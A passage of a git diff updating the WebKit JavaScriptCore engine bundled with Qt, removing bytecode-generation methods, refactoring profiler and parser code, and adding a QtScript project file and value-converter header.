-        defaultLabel = generator.newLabel();
-        generator.emitJump(defaultLabel.get());
-    }
-
-    RegisterID* result = 0;
-
-    size_t i = 0;
-    for (ClauseListNode* list = m_list1; list; list = list->getNext()) {
-        generator.emitLabel(labelVector[i++].get());
-        list->getClause()->emitBytecode(generator, dst);
-    }
-
-    if (m_defaultClause) {
-        generator.emitLabel(defaultLabel.get());
-        m_defaultClause->emitBytecode(generator, dst);
-    }
-
-    for (ClauseListNode* list = m_list2; list; list = list->getNext()) {
-        generator.emitLabel(labelVector[i++].get());
-        list->getClause()->emitBytecode(generator, dst);
-    }
-    if (!m_defaultClause)
-        generator.emitLabel(defaultLabel.get());
-
-    ASSERT(i == labelVector.size());
-    if (switchType != SwitchInfo::SwitchNone) {
-        ASSERT(labelVector.size() == literalVector.size());
-        generator.endSwitch(labelVector.size(), labelVector.data(), literalVector.data(), defaultLabel.get(), min_num, max_num);
-    }
-    return result;
-}
-
-// ------------------------------ SwitchNode -----------------------------------
-
-RegisterID* SwitchNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Switch);
-
-    RefPtr<RegisterID> r0 = generator.emitNode(m_expr);
-    RegisterID* r1 = m_block->emitBytecodeForBlock(generator, r0.get(), dst);
-
-    generator.emitLabel(scope->breakTarget());
-    return r1;
-}
-
-// ------------------------------ LabelNode ------------------------------------
-
-RegisterID* LabelNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-
-    if (generator.breakTarget(m_name))
-        return emitThrowError(generator, SyntaxError, "Duplicate label: %s.", m_name);
-
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::NamedLabel, &m_name);
-    RegisterID* r0 = generator.emitNode(dst, m_statement);
-
-    generator.emitLabel(scope->breakTarget());
-    return r0;
-}
-
-// ------------------------------ ThrowNode ------------------------------------
-
-RegisterID* ThrowNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-
-    if (dst == generator.ignoredResult())
-        dst = 0;
-    RefPtr<RegisterID> expr = generator.emitNode(m_expr);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitThrow(expr.get());
-    return 0;
-}
-
-// ------------------------------ TryNode --------------------------------------
-
-RegisterID* TryNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    // NOTE: The catch and finally blocks must be labeled explicitly, so the
-    // optimizer knows they may be jumped to from anywhere.
-
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-
-    RefPtr<Label> tryStartLabel = generator.newLabel();
-    RefPtr<Label> finallyStart;
-    RefPtr<RegisterID> finallyReturnAddr;
-    if (m_finallyBlock) {
-        finallyStart = generator.newLabel();
-        finallyReturnAddr = generator.newTemporary();
-        generator.pushFinallyContext(finallyStart.get(), finallyReturnAddr.get());
-    }
-
-    generator.emitLabel(tryStartLabel.get());
-    generator.emitNode(dst, m_tryBlock);
-
-    if (m_catchBlock) {
-        RefPtr<Label> catchEndLabel = generator.newLabel();
-        
-        // Normal path: jump over the catch block.
-        generator.emitJump(catchEndLabel.get());
-
-        // Uncaught exception path: the catch block.
-        RefPtr<Label> here = generator.emitLabel(generator.newLabel().get());
-        RefPtr<RegisterID> exceptionRegister = generator.emitCatch(generator.newTemporary(), tryStartLabel.get(), here.get());
-        if (m_catchHasEval) {
-            RefPtr<RegisterID> dynamicScopeObject = generator.emitNewObject(generator.newTemporary());
-            generator.emitPutById(dynamicScopeObject.get(), m_exceptionIdent, exceptionRegister.get());
-            generator.emitMove(exceptionRegister.get(), dynamicScopeObject.get());
-            generator.emitPushScope(exceptionRegister.get());
-        } else
-            generator.emitPushNewScope(exceptionRegister.get(), m_exceptionIdent, exceptionRegister.get());
-        generator.emitNode(dst, m_catchBlock);
-        generator.emitPopScope();
-        generator.emitLabel(catchEndLabel.get());
-    }
-
-    if (m_finallyBlock) {
-        generator.popFinallyContext();
-        // there may be important registers live at the time we jump
-        // to a finally block (such as for a return or throw) so we
-        // ref the highest register ever used as a conservative
-        // approach to not clobbering anything important
-        RefPtr<RegisterID> highestUsedRegister = generator.highestUsedRegister();
-        RefPtr<Label> finallyEndLabel = generator.newLabel();
-
-        // Normal path: invoke the finally block, then jump over it.
-        generator.emitJumpSubroutine(finallyReturnAddr.get(), finallyStart.get());
-        generator.emitJump(finallyEndLabel.get());
-
-        // Uncaught exception path: invoke the finally block, then re-throw the exception.
-        RefPtr<Label> here = generator.emitLabel(generator.newLabel().get());
-        RefPtr<RegisterID> tempExceptionRegister = generator.emitCatch(generator.newTemporary(), tryStartLabel.get(), here.get());
-        generator.emitJumpSubroutine(finallyReturnAddr.get(), finallyStart.get());
-        generator.emitThrow(tempExceptionRegister.get());
-
-        // The finally block.
-        generator.emitLabel(finallyStart.get());
-        generator.emitNode(dst, m_finallyBlock);
-        generator.emitSubroutineReturn(finallyReturnAddr.get());
-
-        generator.emitLabel(finallyEndLabel.get());
-    }
-
-    return dst;
-}
-
 // -----------------------------ScopeNodeData ---------------------------
 
 ScopeNodeData::ScopeNodeData(ParserArena& arena, SourceElements* statements, VarStack* varStack, FunctionStack* funcStack, int numConstants)
@@ -1908,12 +104,6 @@ ScopeNode::ScopeNode(JSGlobalData* globalData, const SourceCode& source, SourceE
 {
 }
 
-inline void ScopeNode::emitStatementsBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (m_data->m_statements)
-        m_data->m_statements->emitBytecode(generator, dst);
-}
-
 StatementNode* ScopeNode::singleStatement() const
 {
     return m_data->m_statements ? m_data->m_statements->singleStatement() : 0;
@@ -1937,19 +127,6 @@ PassRefPtr<ProgramNode> ProgramNode::create(JSGlobalData* globalData, SourceElem
     return node.release();
 }
 
-RegisterID* ProgramNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    generator.emitDebugHook(WillExecuteProgram, firstLine(), lastLine());
-
-    RefPtr<RegisterID> dstRegister = generator.newTemporary();
-    generator.emitLoad(dstRegister.get(), jsUndefined());
-    emitStatementsBytecode(generator, dstRegister.get());
-
-    generator.emitDebugHook(DidExecuteProgram, firstLine(), lastLine());
-    generator.emitEnd(dstRegister.get());
-    return 0;
-}
-
 // ------------------------------ EvalNode -----------------------------
 
 inline EvalNode::EvalNode(JSGlobalData* globalData, SourceElements* children, VarStack* varStack, FunctionStack* funcStack, const SourceCode& source, CodeFeatures features, int numConstants)
@@ -1968,19 +145,6 @@ PassRefPtr<EvalNode> EvalNode::create(JSGlobalData* globalData, SourceElements*
     return node.release();
 }
 
-RegisterID* EvalNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    generator.emitDebugHook(WillExecuteProgram, firstLine(), lastLine());
-
-    RefPtr<RegisterID> dstRegister = generator.newTemporary();
-    generator.emitLoad(dstRegister.get(), jsUndefined());
-    emitStatementsBytecode(generator, dstRegister.get());
-
-    generator.emitDebugHook(DidExecuteProgram, firstLine(), lastLine());
-    generator.emitEnd(dstRegister.get());
-    return 0;
-}
-
 // ------------------------------ FunctionBodyNode -----------------------------
 
 FunctionParameters::FunctionParameters(ParameterNode* firstParameter)
@@ -2028,37 +192,4 @@ PassRefPtr<FunctionBodyNode> FunctionBodyNode::create(JSGlobalData* globalData,
     return node.release();
 }
 
-RegisterID* FunctionBodyNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    generator.emitDebugHook(DidEnterCallFrame, firstLine(), lastLine());
-    emitStatementsBytecode(generator, generator.ignoredResult());
-    StatementNode* singleStatement = this->singleStatement();
-    if (singleStatement && singleStatement->isBlock()) {
-        StatementNode* lastStatementInBlock = static_cast<BlockNode*>(singleStatement)->lastStatement();
-        if (lastStatementInBlock && lastStatementInBlock->isReturnNode())
-            return 0;
-    }
-
-    RegisterID* r0 = generator.emitLoad(0, jsUndefined());
-    generator.emitDebugHook(WillLeaveCallFrame, firstLine(), lastLine());
-    generator.emitReturn(r0);
-    return 0;
-}
-
-// ------------------------------ FuncDeclNode ---------------------------------
-
-RegisterID* FuncDeclNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        dst = 0;
-    return dst;
-}
-
-// ------------------------------ FuncExprNode ---------------------------------
-
-RegisterID* FuncExprNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    return generator.emitNewFunctionExpression(generator.finalDestination(dst), this);
-}
-
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.h b/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.h
index be84c4a..7852165 100644
--- a/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.h
+++ b/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.h
@@ -40,6 +40,7 @@ namespace JSC {
     class ArgumentListNode;
     class BytecodeGenerator;
     class FunctionBodyNode;
+    class Label;
     class PropertyListNode;
     class ReadModifyResolveNode;
     class RegisterID;
@@ -151,6 +152,9 @@ namespace JSC {
         virtual bool isCommaNode() const { return false; }
         virtual bool isSimpleArray() const { return false; }
         virtual bool isAdd() const { return false; }
+        virtual bool hasConditionContextCodegen() const { return false; }
+
+        virtual void emitBytecodeInConditionContext(BytecodeGenerator&, Label*, Label*, bool) { ASSERT_NOT_REACHED(); }
 
         virtual ExpressionNode* stripUnaryPlus() { return this; }
 
@@ -757,6 +761,7 @@ namespace JSC {
 
     protected:
         ExpressionNode* expr() { return m_expr; }
+        const ExpressionNode* expr() const { return m_expr; }
 
     private:
         virtual RegisterID* emitBytecode(BytecodeGenerator&, RegisterID* = 0);
@@ -788,6 +793,9 @@ namespace JSC {
     class LogicalNotNode : public UnaryOpNode {
     public:
         LogicalNotNode(JSGlobalData*, ExpressionNode*);
+    private:
+        void emitBytecodeInConditionContext(BytecodeGenerator&, Label* trueTarget, Label* falseTarget, bool fallThroughMeansTrue);
+        virtual bool hasConditionContextCodegen() const { return expr()->hasConditionContextCodegen(); }
     };
 
     class BinaryOpNode : public ExpressionNode {
@@ -952,6 +960,8 @@ namespace JSC {
 
     private:
         virtual RegisterID* emitBytecode(BytecodeGenerator&, RegisterID* = 0);
+        void emitBytecodeInConditionContext(BytecodeGenerator&, Label* trueTarget, Label* falseTarget, bool fallThroughMeansTrue);
+        virtual bool hasConditionContextCodegen() const { return true; }
 
         ExpressionNode* m_expr1;
         ExpressionNode* m_expr2;
@@ -1375,12 +1385,6 @@ namespace JSC {
 
         using ParserArenaRefCounted::operator new;
 
-        void adoptData(std::auto_ptr<ScopeNodeData> data)
-        {
-            ASSERT(!data->m_arena.contains(this));
-            ASSERT(!m_data);
-            m_data.adopt(data);
-        }
         ScopeNodeData* data() const { return m_data.get(); }
         void destroyData() { m_data.clear(); }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/parser/Parser.cpp b/src/3rdparty/webkit/JavaScriptCore/parser/Parser.cpp
index 4c046d0..039fc46 100644
--- a/src/3rdparty/webkit/JavaScriptCore/parser/Parser.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/parser/Parser.cpp
@@ -27,9 +27,6 @@
 #include "Lexer.h"
 #include <wtf/HashSet.h>
 #include <wtf/Vector.h>
-#include <memory>
-
-using std::auto_ptr;
 
 #ifndef yyparse
 extern int jscyyparse(void*);
@@ -50,7 +47,7 @@ void Parser::parse(JSGlobalData* globalData, int* errLine, UString* errMsg)
         errMsg = &defaultErrMsg;
 
     *errLine = -1;
-    *errMsg = 0;
+    *errMsg = UString();
 
     Lexer& lexer = *globalData->lexer;
     lexer.setCode(*m_source, m_arena);
diff --git a/src/3rdparty/webkit/JavaScriptCore/pcre/dftables b/src/3rdparty/webkit/JavaScriptCore/pcre/dftables
index 1f0ea01..669b948 100755
--- a/src/3rdparty/webkit/JavaScriptCore/pcre/dftables
+++ b/src/3rdparty/webkit/JavaScriptCore/pcre/dftables
@@ -269,4 +269,5 @@ sub readHeaderValues()
     
     eval $content;
     die "$@" if $@;
+    unlink $tempFile;
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/pcre/pcre.pri b/src/3rdparty/webkit/JavaScriptCore/pcre/pcre.pri
index c33c67c..4f59e17 100644
--- a/src/3rdparty/webkit/JavaScriptCore/pcre/pcre.pri
+++ b/src/3rdparty/webkit/JavaScriptCore/pcre/pcre.pri
@@ -3,8 +3,6 @@ VPATH += $$PWD
 INCLUDEPATH += $$PWD $$OUTPUT_DIR/JavaScriptCore/tmp
 DEPENDPATH += $$PWD
 
-isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = tmp
-
 SOURCES += \
     pcre_compile.cpp \
     pcre_exec.cpp \
@@ -12,24 +10,3 @@ SOURCES += \
     pcre_ucp_searchfuncs.cpp \
     pcre_xclass.cpp
 
-!CONFIG(QTDIR_build) {
-    defineTest(addExtraCompiler) {
-        QMAKE_EXTRA_COMPILERS += $$1
-        generated_files.depends += compiler_$${1}_make_all
-        export(QMAKE_EXTRA_COMPILERS)
-        export(generated_files.depends)
-        return(true)
-    }
-}
-
-# GENERATOR: "chartables.c": compile and execute the chartables generator (and add it to sources)
-win32-msvc*|wince*: PREPROCESSOR = "--preprocessor=\"$$QMAKE_CC /E\""
-DFTABLES = $$PWD/dftables
-ctgen.input = DFTABLES
-ctgen.output = $$GENERATED_SOURCES_DIR/chartables.c
-ctgen.commands = perl $$DFTABLES ${QMAKE_FILE_OUT} $$PREPROCESSOR
-ctgen.CONFIG += target_predeps no_link
-ctgen.variable_out = GENERATED_SOURCES
-ctgen.dependency_type = TYPE_C
-ctgen.clean = ${QMAKE_FILE_OUT} ${QMAKE_VAR_GENERATED_SOURCES_DIR}${QMAKE_FILE_BASE}
-addExtraCompiler(ctgen)
diff --git a/src/3rdparty/webkit/JavaScriptCore/pcre/pcre_exec.cpp b/src/3rdparty/webkit/JavaScriptCore/pcre/pcre_exec.cpp
index 16619d4..8ca2eb4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/pcre/pcre_exec.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/pcre/pcre_exec.cpp
@@ -2164,14 +2164,14 @@ void Histogram::add(const JSRegExp* re, double elapsedTime)
 
 HistogramTimeLogger::HistogramTimeLogger(const JSRegExp* re)
     : m_re(re)
-    , m_startTime(getCurrentUTCTimeWithMicroseconds())
+    , m_startTime(currentTimeMS())
 {
 }
 
 HistogramTimeLogger::~HistogramTimeLogger()
 {
     static Histogram histogram;
-    histogram.add(m_re, getCurrentUTCTimeWithMicroseconds() - m_startTime);
+    histogram.add(m_re, currentTimeMS() - m_startTime);
 }
 
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.cpp
deleted file mode 100644
index e69de29..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.cpp
+++ /dev/null
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.h b/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.h
deleted file mode 100644
index e69de29..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/HeavyProfile.h
+++ /dev/null
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/Profile.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/Profile.cpp
index de75e71..c90f9b0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/Profile.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/profiler/Profile.cpp
@@ -42,7 +42,7 @@ Profile::Profile(const UString& title, unsigned uid)
 {
     // FIXME: When multi-threading is supported this will be a vector and calls
     // into the profiler will need to know which thread it is executing on.
-    m_head = ProfileNode::create(CallIdentifier("Thread_1", 0, 0), 0, 0);
+    m_head = ProfileNode::create(CallIdentifier("Thread_1", UString(), 0), 0, 0);
 }
 
 Profile::~Profile()
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileGenerator.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileGenerator.cpp
index dc68ecb..f367033 100644
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileGenerator.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileGenerator.cpp
@@ -63,7 +63,7 @@ void ProfileGenerator::addParentForConsoleStart(ExecState* exec)
     JSValue function;
 
     exec->interpreter()->retrieveLastCaller(exec, lineNumber, sourceID, sourceURL, function);
-    m_currentNode = ProfileNode::create(Profiler::createCallIdentifier(&exec->globalData(), function ? function.toThisObject(exec) : 0, sourceURL, lineNumber), m_head.get(), m_head.get());
+    m_currentNode = ProfileNode::create(Profiler::createCallIdentifier(exec, function ? function.toThisObject(exec) : 0, sourceURL, lineNumber), m_head.get(), m_head.get());
     m_head->insertNode(m_currentNode.get());
 }
 
@@ -124,7 +124,7 @@ void ProfileGenerator::stopProfiling()
     m_currentNode = m_currentNode->parent();
 
    if (double headSelfTime = m_head->selfTime()) {
-        RefPtr<ProfileNode> idleNode = ProfileNode::create(CallIdentifier(NonJSExecution, 0, 0), m_head.get(), m_head.get());
+        RefPtr<ProfileNode> idleNode = ProfileNode::create(CallIdentifier(NonJSExecution, UString(), 0), m_head.get(), m_head.get());
 
         idleNode->setTotalTime(headSelfTime);
         idleNode->setSelfTime(headSelfTime);
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileNode.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileNode.cpp
index 19050aa..fb126b3 100644
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileNode.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/profiler/ProfileNode.cpp
@@ -33,15 +33,17 @@
 #include <stdio.h>
 #include <wtf/DateMath.h>
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 #include <windows.h>
 #endif
 
+using namespace WTF;
+
 namespace JSC {
 
 static double getCount()
 {
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
     static LARGE_INTEGER frequency = {0};
     if (!frequency.QuadPart)
         QueryPerformanceFrequency(&frequency);
@@ -49,7 +51,7 @@ static double getCount()
     QueryPerformanceCounter(&counter);
     return static_cast<double>(counter.QuadPart) / frequency.QuadPart;
 #else
-    return WTF::getCurrentUTCTimeWithMicroseconds();
+    return currentTimeMS();
 #endif
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.cpp
index 6f72e08..fe8727a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.cpp
@@ -46,7 +46,7 @@ static const char* GlobalCodeExecution = "(program)";
 static const char* AnonymousFunction = "(anonymous function)";
 static unsigned ProfilesUID = 0;
 
-static CallIdentifier createCallIdentifierFromFunctionImp(JSGlobalData*, JSFunction*);
+static CallIdentifier createCallIdentifierFromFunctionImp(ExecState*, JSFunction*);
 
 Profiler* Profiler::s_sharedProfiler = 0;
 Profiler* Profiler::s_sharedEnabledProfilerReference = 0;
@@ -109,14 +109,14 @@ void Profiler::willExecute(ExecState* exec, JSValue function)
 {
     ASSERT(!m_currentProfiles.isEmpty());
 
-    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::willExecute, createCallIdentifier(&exec->globalData(), function, "", 0), exec->lexicalGlobalObject()->profileGroup());
+    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::willExecute, createCallIdentifier(exec, function, "", 0), exec->lexicalGlobalObject()->profileGroup());
 }
 
 void Profiler::willExecute(ExecState* exec, const UString& sourceURL, int startingLineNumber)
 {
     ASSERT(!m_currentProfiles.isEmpty());
 
-    CallIdentifier callIdentifier = createCallIdentifier(&exec->globalData(), JSValue(), sourceURL, startingLineNumber);
+    CallIdentifier callIdentifier = createCallIdentifier(exec, JSValue(), sourceURL, startingLineNumber);
 
     dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::willExecute, callIdentifier, exec->lexicalGlobalObject()->profileGroup());
 }
@@ -125,17 +125,17 @@ void Profiler::didExecute(ExecState* exec, JSValue function)
 {
     ASSERT(!m_currentProfiles.isEmpty());
 
-    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::didExecute, createCallIdentifier(&exec->globalData(), function, "", 0), exec->lexicalGlobalObject()->profileGroup());
+    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::didExecute, createCallIdentifier(exec, function, "", 0), exec->lexicalGlobalObject()->profileGroup());
 }
 
 void Profiler::didExecute(ExecState* exec, const UString& sourceURL, int startingLineNumber)
 {
     ASSERT(!m_currentProfiles.isEmpty());
 
-    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::didExecute, createCallIdentifier(&exec->globalData(), JSValue(), sourceURL, startingLineNumber), exec->lexicalGlobalObject()->profileGroup());
+    dispatchFunctionToProfiles(m_currentProfiles, &ProfileGenerator::didExecute, createCallIdentifier(exec, JSValue(), sourceURL, startingLineNumber), exec->lexicalGlobalObject()->profileGroup());
 }
 
-CallIdentifier Profiler::createCallIdentifier(JSGlobalData* globalData, JSValue functionValue, const UString& defaultSourceURL, int defaultLineNumber)
+CallIdentifier Profiler::createCallIdentifier(ExecState* exec, JSValue functionValue, const UString& defaultSourceURL, int defaultLineNumber)
 {
     if (!functionValue)
         return CallIdentifier(GlobalCodeExecution, defaultSourceURL, defaultLineNumber);
@@ -144,17 +144,17 @@ CallIdentifier Profiler::createCallIdentifier(JSGlobalData* globalData, JSValue
     if (asObject(functionValue)->inherits(&JSFunction::info)) {
         JSFunction* function = asFunction(functionValue);
         if (!function->executable()->isHostFunction())
-            return createCallIdentifierFromFunctionImp(globalData, function);
+            return createCallIdentifierFromFunctionImp(exec, function);
     }
     if (asObject(functionValue)->inherits(&InternalFunction::info))
-        return CallIdentifier(static_cast<InternalFunction*>(asObject(functionValue))->name(globalData), defaultSourceURL, defaultLineNumber);
-    return CallIdentifier("(" + asObject(functionValue)->className() + " object)", defaultSourceURL, defaultLineNumber);
+        return CallIdentifier(static_cast<InternalFunction*>(asObject(functionValue))->name(exec), defaultSourceURL, defaultLineNumber);
+    return CallIdentifier(makeString("(", asObject(functionValue)->className(), " object)"), defaultSourceURL, defaultLineNumber);
 }
 
-CallIdentifier createCallIdentifierFromFunctionImp(JSGlobalData* globalData, JSFunction* function)
+CallIdentifier createCallIdentifierFromFunctionImp(ExecState* exec, JSFunction* function)
 {
     ASSERT(!function->isHostFunction());
-    const UString& name = function->calculatedDisplayName(globalData);
+    const UString& name = function->calculatedDisplayName(exec);
     return CallIdentifier(name.isEmpty() ? AnonymousFunction : name, function->jsExecutable()->sourceURL(), function->jsExecutable()->lineNo());
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.h b/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.h
index 21621bf..4b8b4a0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/profiler/Profiler.h
@@ -52,7 +52,7 @@ namespace JSC {
         }
 
         static Profiler* profiler(); 
-        static CallIdentifier createCallIdentifier(JSGlobalData*, JSValue, const UString& sourceURL, int lineNumber);
+        static CallIdentifier createCallIdentifier(ExecState* exec, JSValue, const UString& sourceURL, int lineNumber);
 
         void startProfiling(ExecState*, const UString& title);
         PassRefPtr<Profile> stopProfiling(ExecState*, const UString& title);
diff --git a/src/3rdparty/webkit/JavaScriptCore/profiler/TreeProfile.cpp b/src/3rdparty/webkit/JavaScriptCore/profiler/TreeProfile.cpp
deleted file mode 100644
index e69de29..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/profiler/TreeProfile.cpp
+++ /dev/null
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/QtScript.pro b/src/3rdparty/webkit/JavaScriptCore/qt/api/QtScript.pro
new file mode 100644
index 0000000..88629c7
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/QtScript.pro
@@ -0,0 +1,46 @@
+TARGET     = QtScript
+TEMPLATE   = lib
+QT         = core
+
+INCLUDEPATH += $$PWD
+
+CONFIG += building-libs
+
+isEmpty(JSC_GENERATED_SOURCES_DIR):JSC_GENERATED_SOURCES_DIR = ../../generated
+CONFIG(debug, debug|release) {
+    OBJECTS_DIR = obj/debug
+} else { # Release
+    OBJECTS_DIR = obj/release
+}
+
+isEmpty(OUTPUT_DIR): OUTPUT_DIR = ../../..
+include($$PWD/../../../WebKit.pri)
+
+include($$PWD/../../JavaScriptCore.pri)
+addJavaScriptCoreLib(../..)
+
+INCLUDEPATH += $$PWD/../../API
+
+SOURCES +=  $$PWD/qscriptengine.cpp \
+            $$PWD/qscriptengine_p.cpp \
+            $$PWD/qscriptvalue.cpp \
+            $$PWD/qscriptstring.cpp \
+            $$PWD/qscriptprogram.cpp \
+            $$PWD/qscriptsyntaxcheckresult.cpp \
+
+HEADERS +=  $$PWD/qtscriptglobal.h \
+            $$PWD/qscriptengine.h \
+            $$PWD/qscriptengine_p.h \
+            $$PWD/qscriptvalue.h \
+            $$PWD/qscriptvalue_p.h \
+            $$PWD/qscriptconverter_p.h \
+            $$PWD/qscriptstring.h \
+            $$PWD/qscriptstring_p.h \
+            $$PWD/qscriptprogram.h \
+            $$PWD/qscriptprogram_p.h \
+            $$PWD/qscriptsyntaxcheckresult.h \
+
+
+!static: DEFINES += QT_MAKEDLL
+
+DESTDIR = $$OUTPUT_DIR/lib
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptconverter_p.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptconverter_p.h
new file mode 100644
index 0000000..cd86e20
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qscriptconverter_p.h
@@ -0,0 +1,132 @@
+/*
+    Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qscriptconverter_p_h
+#define qscriptconverter_p_h
+
+#include <JavaScriptCore/JavaScript.h>
+#include <QtCore/qnumeric.h>
+#include <QtCore/qstring.h>
+#include <QtCore/qvarlengtharray.h>
+
+extern char *qdtoa(double d, int mode, int ndigits, int *decpt, int *sign, char **rve, char **digits_str);
+
+/*
+  \internal
+  \class QScriptConverter
+  QScriptValue and QScriptEngine helper class. This class's responsibility is to convert values
+  between JS values and Qt/C++ values.
+
+  This is a nice way to inline these functions in both QScriptValue and QScriptEngine.
+*/
+class QScriptConverter {
+public:
+    static quint32 toArrayIndex(const JSStringRef jsstring)
+    {
+        // FIXME this function should be exported by JSC C API.
+        QString qstring = toString(jsstring);
+
+        bool ok;
+        quint32 idx = qstring.toUInt(&ok);
+        if (!ok || toString(idx) != qstring)
+            idx = 0xffffffff;
+
+        return idx;
+    }
+
+    static QString toString(const JSStringRef str)
+    {
+        return QString(reinterpret_cast<const QChar*>(JSStringGetCharactersPtr(str)), JSStringGetLength(str));
+    }
+    static JSStringRef toString(const QString& str)
+    {
+        return JSStringCreateWithUTF8CString(str.toUtf8().constData());
+    }
+    static JSStringRef toString(const char* str)
+    {
+        return JSStringCreateWithUTF8CString(str);
+    }
+    static QString toString(double value)
+    {
+        // FIXME this should be easier. The ideal fix is to create
+        // a new function in JSC C API which could cover the functionality.
+
+        if (qIsNaN(value))
+            return QString::fromLatin1("NaN");
+        if (qIsInf(value))
+            return QString::fromLatin1(value < 0 ? "-Infinity" : "Infinity");
+        if (!value)
+            return QString::fromLatin1("0");
+
+        QVarLengthArray<char, 25> buf;
+        int decpt;
+        int sign;
+        char* result = 0;
+        char* endresult;
+        (void)qdtoa(value, 0, 0, &decpt, &sign, &endresult, &result);
+
+        if (!result)
+            return QString();
+
+        int resultLen = endresult - result;
+        if (decpt <= 0 && decpt > -6) {
+            buf.resize(-decpt + 2 + sign);
+            qMemSet(buf.data(), '0', -decpt + 2 + sign);
+            if (sign) // fix the sign.
+                buf[0] = '-';
+            buf[sign + 1] = '.';
+            buf.append(result, resultLen);
+        } else {
+            if (sign)
+                buf.append('-');
+            int length = buf.size() - sign + resultLen;
+            if (decpt <= 21 && decpt > 0) {
+                if (length <= decpt) {
+                    const char* zeros = "0000000000000000000000000";
+                    buf.append(result, resultLen);
+                    buf.append(zeros, decpt - length);
+                } else {
+                    buf.append(result, decpt);
+                    buf.append('.');
+                    buf.append(result + decpt, resultLen - decpt);
+                }
+            } else if (result[0] >= '0' && result[0] <= '9') {
+                if (length > 1) {
+                    buf.append(result, 1);
+                    buf.append('.');
+                    buf.append(result + 1, resultLen - 1);
+                } else
+                    buf.append(result, resultLen);
+                buf.append('e');
+                buf.append(decpt >= 0 ? '+' : '-');
+                int e = qAbs(decpt - 1);
+                if (e >= 100)
+                    buf.append('0' + e / 100);
+                if (e >= 10)
+                    buf.append('0' + (e % 100) / 10);
+                buf.append('0' + e % 10);
+            }
+        }
+        free(result);
+        buf.append(0);
